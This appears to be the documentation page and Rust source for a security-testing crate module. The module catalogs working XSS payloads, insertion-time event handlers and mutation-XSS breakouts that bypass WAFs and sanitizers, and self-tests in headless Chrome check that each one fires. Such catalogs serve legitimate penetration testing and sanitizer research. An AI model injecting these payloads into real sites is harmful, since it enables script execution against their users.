detonate 0.1.5

Prove an injected web payload actually EXECUTES (alert(1) fires), not just reflects: a shared XSS-execution oracle over a jsdet sandbox.
Documentation
//! Mutation-XSS & browser-only execution vectors, the catalog the **chrome**
//! engine can validate but jsdet structurally cannot.
//!
//! These vectors fire only through a real HTML5 parser + DOM-sink re-serialization:
//!
//!  * **mutation XSS (mXSS)**: markup that is inert as a WAF (and a tag-soup
//!    parser) reads it, but which a browser mutates into executing script when it
//!    re-serializes the fragment through `innerHTML`. The break-out happens
//!    inside RAWTEXT/RCDATA elements (`<noscript>` with scripting on, `<style>`,
//!    `<title>`, `<textarea>`) or in foreign content (`<svg>`/`<math>` integration
//!    points) where the parser's tokenizer state differs from the serializer's.
//!  * **insertion-time handlers**: `on*` handlers that auto-fire the moment the
//!    element is inserted into a live document via `innerHTML` (`<img onerror>`,
//!    SVG SMIL `<animate onbegin>`, `<details open ontoggle>`).
//!
//! Like [`crate::EXEC_PRESERVING_VECTORS`], the catalog is **self-validating**:
//! [`tests::every_mutation_vector_fires_in_chrome`] runs every entry through the
//! chrome engine and asserts it fires the sink, a vector that stops executing in
//! the current browser is a build failure on a chrome-equipped host, never a
//! silently-dead entry (LAW 6). Where no browser is present the test skips.

/// How a mutation vector reaches execution, recorded so the exploit search and
/// reports can explain *why* a vector needs the browser oracle.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum VectorKind {
    /// Markup that mutates into script on `innerHTML` re-serialization, the
    /// canonical mXSS that defeats parser-based WAFs and many sanitizers.
    MutationXss,
    /// An `on*` handler that auto-fires on insertion into a live DOM via an
    /// `innerHTML`/`insertAdjacentHTML` sink (no user interaction).
    InsertionHandler,
}

impl VectorKind {
    /// Short human label for reports.
    #[must_use]
    pub fn label(self) -> &'static str {
        match self {
            Self::MutationXss => "mutation-xss",
            Self::InsertionHandler => "insertion-handler",
        }
    }
}

/// A named browser-only execution vector. `template` carries `{{M}}` where the
/// alert marker is substituted by [`mutation_vectors`].
#[derive(Debug, Clone, Copy)]
pub struct MutationVector {
    /// Stable identifier (for reports / dogfood logs).
    pub name: &'static str,
    /// Why it needs the browser oracle.
    pub kind: VectorKind,
    /// The payload template; `{{M}}` → alert marker.
    pub template: &'static str,
}

/// The browser-only execution catalog. Each entry is validated to fire in real
/// headless Chrome by the module's self-test on a chrome-equipped host.
///
/// Tier-B data: extend as new browser-only vectors are discovered and proven by
/// the self-test. A candidate that does not fire fails the build rather than
/// shipping dead.
pub const MUTATION_XSS_VECTORS: &[MutationVector] = &[
    // ── insertion-time auto-firing handlers (fire via innerHTML sink) ──
    MutationVector {
        name: "img-onerror",
        kind: VectorKind::InsertionHandler,
        template: "<img src=x onerror=alert({{M}})>",
    },
    MutationVector {
        name: "svg-onload",
        kind: VectorKind::InsertionHandler,
        template: "<svg onload=alert({{M}})>",
    },
    MutationVector {
        name: "svg-smil-animate-onbegin",
        kind: VectorKind::InsertionHandler,
        template: "<svg><animate onbegin=alert({{M}}) attributeName=x dur=1s>",
    },
    MutationVector {
        name: "details-ontoggle",
        kind: VectorKind::InsertionHandler,
        template: "<details open ontoggle=alert({{M}})>",
    },
    MutationVector {
        name: "image-onerror-legacy",
        kind: VectorKind::InsertionHandler,
        template: "<image src=x onerror=alert({{M}})>",
    },
    // ── mutation XSS: inert as parsed, executes on innerHTML re-serialization ──
    MutationVector {
        name: "mxss-noscript",
        kind: VectorKind::MutationXss,
        template: "<noscript><p title=\"</noscript><img src=x onerror=alert({{M}})>\">",
    },
    MutationVector {
        name: "mxss-style-breakout",
        kind: VectorKind::MutationXss,
        template: "<style><img src=\"</style><img src=x onerror=alert({{M}})>\">",
    },
    MutationVector {
        name: "mxss-svg-foreign-style",
        kind: VectorKind::MutationXss,
        template: "<svg><style><img src=x onerror=alert({{M}})></style></svg>",
    },
];

/// The [`MUTATION_XSS_VECTORS`] payloads with `{{M}}` replaced by `marker`.
#[must_use]
pub fn mutation_vectors(marker: &str) -> Vec<String> {
    MUTATION_XSS_VECTORS
        .iter()
        .map(|v| v.template.replace("{{M}}", marker))
        .collect()
}

/// Just the mXSS-class vectors (those that mutate on re-serialization), marker
/// substituted (the research-grade subset that defeats parser-based defenses).
#[must_use]
pub fn mxss_only(marker: &str) -> Vec<String> {
    MUTATION_XSS_VECTORS
        .iter()
        .filter(|v| v.kind == VectorKind::MutationXss)
        .map(|v| v.template.replace("{{M}}", marker))
        .collect()
}

#[cfg(test)]
mod tests {
    use super::*;
    use crate::chrome;

    #[test]
    fn marker_substitution_is_complete() {
        let v = mutation_vectors("1");
        assert_eq!(v.len(), MUTATION_XSS_VECTORS.len());
        assert!(v.iter().all(|s| !s.contains("{{M}}")), "no placeholder left: {v:?}");
        assert!(v.iter().any(|s| s.contains("alert(1)")));
    }

    #[test]
    fn names_are_unique() {
        let mut names: Vec<_> = MUTATION_XSS_VECTORS.iter().map(|v| v.name).collect();
        names.sort_unstable();
        let before = names.len();
        names.dedup();
        assert_eq!(before, names.len(), "vector names must be unique");
    }

    #[test]
    fn mxss_subset_is_nonempty_and_mutation_class() {
        let m = mxss_only("1");
        assert!(!m.is_empty(), "must ship real mXSS vectors");
        // Every mxss_only entry corresponds to a MutationXss-kind vector.
        let mxss_count = MUTATION_XSS_VECTORS
            .iter()
            .filter(|v| v.kind == VectorKind::MutationXss)
            .count();
        assert_eq!(m.len(), mxss_count);
    }

    /// The no-rot guarantee for the browser-only catalog: on a chrome-equipped
    /// host EVERY vector must actually fire `alert(1)` in real Chrome. A vector
    /// that the current browser no longer executes fails the build (so it is
    /// fixed or removed, never shipped dead). Skips where no browser exists.
    #[test]
    fn every_mutation_vector_fires_in_chrome() {
        let Some(c) = chrome::chrome_binary() else {
            eprintln!("SKIP: no chrome binary, set WAFRIFT_CHROME_BIN to validate the mXSS catalog");
            return;
        };
        let mut failures = Vec::new();
        for v in MUTATION_XSS_VECTORS {
            let payload = v.template.replace("{{M}}", "1");
            let p = chrome::detonate_with_binary(&c, &payload);
            if !(p.executed && p.message.as_deref() == Some("1")) {
                failures.push(format!("[{}] {:?} → {p:?}", v.name, payload));
            }
        }
        assert!(
            failures.is_empty(),
            "{} browser-only vector(s) did NOT fire alert(1) in {c}:\n{}",
            failures.len(),
            failures.join("\n")
        );
    }
}